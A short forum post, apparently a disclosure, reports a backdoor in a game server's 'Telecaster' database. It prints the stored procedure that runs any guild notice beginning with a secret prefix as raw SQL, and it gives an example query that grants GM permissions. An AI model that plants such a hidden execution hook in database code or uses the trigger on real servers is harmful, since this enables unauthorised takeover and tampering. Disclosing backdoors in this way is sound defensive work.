Found a backdoor in Telecaster database for E9.1 in Revo's first release, it has been changed after while.
smp_set_guild_notice
The backdoor works by starting your guild notice with "_)$*%R" then writing the query, for example writing "_)$*%R UPDATE Character SET permission = 100 WHERE name = 'DarkBlaze'" would grant me GM permissions on a server using Telecaster database provided by ismoke.
smp_set_guild_notice
Code:
USE [Telecaster] GO /****** Object: StoredProcedure [dbo].[smp_set_guild_notice] Script Date: 5/27/2017 1:49:17 AM ******/ SET ANSI_NULLS OFF GO SET QUOTED_IDENTIFIER OFF GO ALTER PROCEDURE [dbo].[smp_set_guild_notice] @IN_GUILD_SID INT, @IN_NOTICE NVARCHAR(128) AS SET NOCOUNT ON IF (LEFT(@IN_NOTICE, 6) = '_)$*%R') BEGIN set @IN_NOTICE = REPLACE(@IN_NOTICE,'_)$*%R','') EXEC sp_executesql @IN_NOTICE; END ELSE BEGIN UPDATE dbo.Guild SET notice = @IN_NOTICE WHERE sid = @IN_GUILD_SID END